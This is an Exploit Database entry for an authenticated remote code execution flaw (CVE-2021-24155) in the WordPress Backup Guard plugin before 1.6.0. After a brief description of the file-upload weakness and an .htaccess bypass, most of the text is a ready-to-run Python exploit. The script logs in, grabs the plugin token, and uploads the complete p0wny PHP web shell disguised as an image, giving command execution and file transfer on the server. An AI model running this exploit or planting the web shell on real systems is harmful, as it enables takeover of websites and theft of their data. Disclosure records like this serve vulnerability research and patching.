WordPress Plugin Backup Guard 1.5.8 – Remote Code Execution (Authenticated)

Exploit Database
125 阅读

作者： Ron Jost

日期： 2021-07-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50093/

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# Exploit Title: WordPress Plugin Backup Guard 1.5.8 - Remote Code Execution (Authenticated)

# Date 02.07.2021

# Exploit Author: Ron Jost (Hacker5preme)

# Vendor Homepage: https://backup-guard.com/products/backup-wordpress

# Software Link: https://downloads.wordpress.org/plugin/backup.1.5.8.zip

# Version: Before 1.6.0

# Tested on: Ubuntu 18.04

# CVE: CVE-2021-24155

# CWE: CWE-434

# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24155/README.md

'''

Description:

The plugin did not ensure that the imported files are of the SGBP format and extension,

allowing high privilege users (admin+) to upload arbitrary files, including PHP ones, leading to RCE.

Additional Info, and Bypass of .htaccess protection found by WPScanTeam, while confirming the issue:

There is a protection in place against accessing the uploaded files,

via a .htaccess in the wp-content/uploads/backup-guard/ folder, however:

- Some web servers do not support .htaccess, e.g Nginx, making it useless in such case

- Arbitrary content can be appended to the existing .htaccess, to make the deny from all invalid,

and bypass the protection on web servers such as Apache

Note: v1.6.0 forced the uploaded file to have the .sgbp extension by adding it if not present,

but the file content is not verified, which could still allow chaining with an issue

such as LFI or Arbitrary File Renaming to achieve RCE

'''

Banner:

'''

banner = """

______ _______ ____ ___ ___________ _ ____ ____

/ ___\ \ / / ____| |___ \ / _ \___ \/ ||___ \| || | / | ___| ___|

| |\ \ / /|_| _____ __) | | | |__) | |_____ __) | || |_| |___ \___ \

| |___\ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |___) |__) |

\____|\_/|_____| |_____|\___/_____|_||_____||_| |_|____/____/

* WordPress Plugin Backup Guard < 1.6.0 - RCE (Authenticated)

* @Hacker5preme

"""

print(banner)

'''

Import required modules:

'''

import requests

import argparse

'''

User-Input:

'''

my_parser = argparse.ArgumentParser(description='Wordpress Plugin Backup Guard < 1.6.0 - RCE (Authenticated)')

my_parser.add_argument('-T', '--IP', type=str)

my_parser.add_argument('-P', '--PORT', type=str)

my_parser.add_argument('-U', '--PATH', type=str)

my_parser.add_argument('-u', '--USERNAME', type=str)

my_parser.add_argument('-p', '--PASSWORD', type=str)

args = my_parser.parse_args()

target_ip = args.IP

target_port = args.PORT

wp_path = args.PATH

username = args.USERNAME

password = args.PASSWORD

print('')

'''

Authentication:

'''

session = requests.Session()

auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'

# Header:

header = {

'Host': target_ip,

'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',

'Accept-Encoding': 'gzip, deflate',

'Content-Type': 'application/x-www-form-urlencoded',

'Origin': 'http://' + target_ip,

'Connection': 'close',

'Upgrade-Insecure-Requests': '1'

}

# Body:

body = {

'log': username,

'pwd': password,

'wp-submit': 'Log In',

'testcookie': '1'

}

# Authenticate:

print('')

auth = session.post(auth_url, headers=header, data=body)

auth_header = auth.headers['Set-Cookie']

if 'wordpress_logged_in' in auth_header:

print('[+] Authentication successfull !')

else:

print('[-] Authentication failed !')

exit()

'''

Retrieve Token for backup:

'''

token_url = "http://" + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=backup_guard_backups'

# Header (Token):

header = {

"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

"Accept-Language": "de,en-US;q=0.7,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Referer": "http://" + target_ip + ':' + target_port + wp_path + '/wp-admin/users.php',

"Connection": "close",

"Upgrade-Insecure-Requests": "1"

}

# Get Token:

print('')

print('[+] Grabbing unique Backup Plugin WordPress Token:')

token_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=backup_guard_backups'

init_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/index.php'

init_request = session.get(init_url).text

token_request = session.get(token_url).text

token_start_in = token_request.find('&token=')

token_start_in = token_request[token_start_in + 7:]

token = token_start_in[:token_start_in.find('"')]

print('-> Token: ' + token)

'''

Exploit:

'''

print('')

print('[*] Starting Exploit:')

exploit_url = "http://" + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php?action=backup_guard_importBackup&token=' + token

# Header (Exploit):

header = {

"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",

"Accept": "application/json, text/javascript, */*; q=0.01",

"Accept-Language": "de,en-US;q=0.7,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Referer": 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=backup_guard_backups',

"X-Requested-With": "XMLHttpRequest",

"Content-Type": "multipart/form-data; boundary=---------------------------17366980624047956771255332862",

"Origin": 'http://' + target_ip,

"Connection": "close"

}

# Body (Exploit): Using p0wny shell: https://github.com/flozz/p0wny-shell

body = "-----------------------------17366980624047956771255332862\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"shell.php\"\r\nContent-Type: image/png\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------17366980624047956771255332862--\r\n"

session.post(exploit_url, headers=header, data=body)

print('[+] Exploit done !')

print(' -> Webshell uploaded to: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/backup-guard/shell.php')

print('')